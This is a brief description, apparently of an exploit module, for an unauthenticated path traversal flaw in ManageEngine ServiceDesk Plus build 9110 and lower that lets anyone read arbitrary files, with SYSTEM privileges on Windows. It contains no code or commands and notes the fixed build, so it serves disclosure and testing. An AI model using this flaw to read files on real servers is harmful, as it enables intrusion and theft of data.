This module exploits an unauthenticated path traversal vulnerability found in ManageEngine
|
|
ServiceDesk Plus build 9110 and lower. The module will retrieve any file on the filesystem
|
|
with the same privileges as Support Center Plus is running. On Windows, files can be retrieved
|
|
with SYSTEM privileges. The issue has been resolved in ServiceDesk Plus build 91111 (issue SD-60283).
